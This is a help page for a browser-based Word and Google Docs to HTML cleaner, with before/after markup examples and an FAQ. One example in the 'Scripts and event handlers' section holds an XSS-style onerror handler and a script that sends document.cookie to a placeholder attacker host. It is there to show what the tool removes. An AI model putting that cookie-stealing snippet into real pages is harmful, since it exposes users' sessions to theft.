Skip to content
Aarrange

Word to HTML

Paste from Word or Google Docs, or open a .docx file. Get clean HTML with real lists, bold, links and tables. Nothing leaves your browser.

Also: Clean HTML, HTML to Text

0
Size in
0
Size out
0
Removed
Input
Tab types a tab. Press Escape, then Tab, to leave the editor.
Result
The result shows here as you type.Try , or .
On this page

About Word to HTML

Updated

Word to HTML turns a Word document or a Google Doc into clean HTML for a website, a CMS or an email. Copy the text and press Ctrl V (⌘V on a Mac), or open the .docx file. You get the headings, paragraphs, lists, links, tables and images, and none of Word's fonts, margins and hidden comments.

The hard part of Word HTML is the lists. Word pastes each list item as a paragraph with a typed bullet or number. This tool reads the list id and level that Word writes and builds a real <ul> or <ol>, nested the way it was in the document. A numbered list stays numbered.

From Google Docs, bold and italic are styles on each piece of text. The tool turns them into <strong> and <em> before it drops the styles, so they are not lost. And it removes the wrapper that would make the whole text bold.

The same tool, set up for other jobs: HTML Cleaner and HTML to Text. To indent HTML that is already clean, use the HTML Formatter. To check it against the HTML standard, use the HTML Validator.

How to use it

  1. Copy your text in Word or Google Docs and press Ctrl V (⌘V on a Mac) in the editor. The editor gets the HTML behind the text, not only the words. To get plain text instead, press Undo once. You can also open a .docx or .html file, or drop one on the editor. From a .docx, images come in with an empty src: upload them and set it.
  2. The HTML view shows the clean HTML at once. The tool finds where the HTML came from (Word, Google Docs, an email or a web page) and removes the junk that source adds. Press Clean (Alt C) to put the clean HTML in the editor; Undo puts your HTML back.
  3. Open Options to choose what to keep. Structure keeps headings, paragraphs, lists, links, tables, images, bold and italic, and drops every style, class, id, span and font. Structure + look and Light keep more. Toggles turn images, tables, redirect links, tracking pixels and the header row on or off.
  4. Switch views in the Result pane: HTML, Page (the result as a page), Changes (every change, with a count and the lines; a line number takes you there), Plain text, Markdown, Summary and Notes (each change and each thing to fix, by line). Things you must fix by hand, such as an image that points to a file on your PC, come first in Changes.
  5. Press Copy or Download in the Result pane. HTML, Plain text and Markdown each copy their own text. On Page, Changes, Summary and Notes, Copy and Download take the clean HTML.

Save as Web Page or paste?

Word has its own HTML export: File, Save As, Web Page, Filtered. It removes some Word markup, but each paragraph still has a class, a style and a font, and a list is still a paragraph with a bullet in it.

Word, Web Page, Filtered
<p class=MsoNormal style='margin-bottom:0cm;line-height:normal'><span
lang=EN-US style='font-size:12.0pt;font-family:"Calibri",sans-serif'>Thanks
to everyone,</span></p>
Word to HTML
<p>Thanks to everyone,</p>

You can open the file Word saves here and clean it too. Word saves it in its own character set (Windows-1252 on most Western PCs); the tool reads the character set from the file, so é, € and curly quotes stay as they are. Its images are in a folder next to it, with the same name and _files at the end.

Common junk, before and after

Word lists are paragraphs with a typed bullet

Word does not paste a list as a list. Each item is a paragraph with a bullet character, spaces and a hidden comment around them. Many cleaners leave the bullet in the text, or turn a numbered list into bullets. This tool reads the list id and level that Word writes, and builds a real <ul> or <ol>, nested the way it was.

Before
<p class=MsoListParagraphCxSpFirst style='mso-list:l0 level1 lfo1'>
<![if !supportLists]><span style='font-family:Symbol'>·<span
style='font:7.0pt "Times New Roman"'>&nbsp;&nbsp; </span></span>
<![endif]>Faster invoices<o:p></o:p></p>
<p class=MsoListParagraphCxSpLast style='mso-list:l0 level1 lfo1'>
<![if !supportLists]>·&nbsp;&nbsp; <![endif]>Fewer tickets<o:p></o:p></p>
After
<ul>
  <li>Faster invoices</li>
  <li>Fewer tickets</li>
</ul>

Google Docs bold lives in a style

Google Docs wraps the whole copy in a <b> with a docs-internal-guid id, and stores bold and italic as font-weight:700 and font-style:italic on spans. A cleaner that keeps the wrapper makes the whole document bold. One that drops styles first loses the real bold. This tool removes the wrapper and turns the styles into <strong> and <em> before it drops them. It also fixes the nested lists Docs writes: a <ul> placed straight in a <ul> moves into the list item above it, where HTML wants it.

Before
<b style="font-weight:normal;" id="docs-internal-guid-4f2a9c1e-7fff">
<p dir="ltr" style="line-height:1.38;margin-top:0pt;">
<span style="font-family:Arial;font-weight:400;">Please </span>
<span style="font-family:Arial;font-weight:700;">sign off</span>
<span style="font-family:Arial;font-style:italic;"> today</span></p></b>
After
<p>Please <strong>sign off</strong> <em>today</em></p>

Links that go through Google first

A link in a Google Doc points to google.com/url?q= with your address inside it. Gmail adds data-saferedirecturl, and Outlook wraps links in Safe Links. The tool takes the real address out and drops the rest. Turn this off under Options if you need the redirect.

Before
<a
  href="https://www.google.com/url?q=https://example.com/plan&amp;sa=D"
>launch plan</a>
After
<a href="https://example.com/plan">launch plan</a>

Email layout tables and tracking pixels

A newsletter is built from tables, <font> tags and bgcolor, and it ends with a 1 by 1 image that reports when you open it. The tool keeps the text and drops the layout. It also removes tracking pixels and utm_ parameters from links.

Before
<table width="600" bgcolor="#ffffff" cellpadding="0" role="presentation">
  <tr><td align="center"><font face="Arial" size="2">
    <p class="x_MsoNormal">Hi Sam, your order has shipped.</p>
  </font></td></tr>
</table>
<img src="https://t.example.com/open.gif" width="1" height="1">
After
<p>Hi Sam, your order has shipped.</p>

Scripts and event handlers

HTML from an unknown source can carry code. The tool always removes <script>, every on* handler such as onerror and onclick, and javascript: links. The Page view shows the result in a sandbox, so nothing you paste runs.

Before
<p>Q3 chart <img src="chart.png" alt="Q3 revenue" onerror="alert(1)"></p>
<script>fetch("https://evil.example/?c=" + document.cookie)</script>
After
<p>Q3 chart <img src="chart.png" alt="Q3 revenue"></p>

Word to HTML resources

  • Microsoft: Word save formatsThe formats Word can save to, among them wdFormatFilteredHTML: the Web Page, Filtered option, with less Word markup.
  • Google Docs: Download a fileHow to download a Google Doc as a web page (.html, zipped). Open the .html file here to clean it.
  • mammoth.jsTurns a .docx file into simple HTML by its styles, not its looks. The tool uses it when you open a .docx file.
  • MDN: ClipboardEvent.clipboardDataA copy from Word or Google Docs puts both plain text and text/html on the clipboard. This is how the tool reads the HTML.
  • MDN: HTML elements referenceEvery HTML element and what it means. Clean HTML keeps the ones that carry meaning: headings, lists, links, tables and emphasis.
  • TurndownA JavaScript library that turns HTML into Markdown. Use it in code when you need the Markdown view as a step in a build.

Word to HTML FAQ

How can I convert a Word document to clean HTML?

Select the text in Word, copy it, and press Ctrl V (⌘V on a Mac) in the editor on this page. The HTML view shows the result at once: headings, paragraphs, real lists, links, tables and images, with no Word styles. Press Copy in the Result pane and paste it into your CMS or code. Clean (Alt C) puts the clean HTML in the editor, if you want to edit it there.

How do I convert a Word file to HTML code?

Press File above the editor and pick the .docx, or drop it on the editor. The file is read in your browser and turned into HTML by its styles: a Heading 1 paragraph becomes <h1>, a list becomes <ul> or <ol>. The HTML view then shows the result. Images come in with an empty src, so the editor does not fill with megabytes of image data: upload them and set each src. An old .doc file does not open: save it as .docx in Word first, or copy and paste the text.

How can I convert a Word document to HTML for free?

Use this page. It is free, with no sign-up, no daily limit and no ads over the editor. Word can also do it: File, Save As, and pick Web Page, Filtered. But that file still has Word's fonts, margins and list markup on every paragraph, so it is best to clean it here after.

How do I convert a Google Doc to HTML?

Copy the text in Google Docs and press Ctrl V (⌘V on a Mac) here. The HTML view shows the result. Bold and italic, which Google Docs stores as styles, become <strong> and <em>. Links that go through google.com/url point straight to their address. You can also download the Doc as a web page (File, Download, Web page) and open the .html file here.

Why do my images not show after I convert from Word?

When you copy from Word, an image points to a temporary file on your PC, such as file:///C:/Users/.../clip_image001.png. No web page can load that. The tool puts a marker in its place, such as [Image: Sales chart] with the alt text you wrote, or [Image] when there is none or Word made it up (“A picture containing…”). Changes lists each one with its line, so you know which images to upload. Upload them to your site and add each one again with its new address.

How do I convert HTML to Word?

Open the Page view, select the page, copy it and paste it into Word. Word keeps the headings, lists, links and tables. Or save the HTML as an .html file and open that file in Word.

Is there a size limit?

There is no size limit. A text of 100,000 characters or more is cleaned in a background worker, so the page does not freeze while it works. A 5 MB Word export cleans in about 2 seconds on a laptop.

Is my document sent anywhere?

No. The HTML is cleaned in your browser, and a .docx file is read in your browser too. Nothing is uploaded, there are no ads over the editor and no daily limit. You can check this in your browser's network tab while you use it.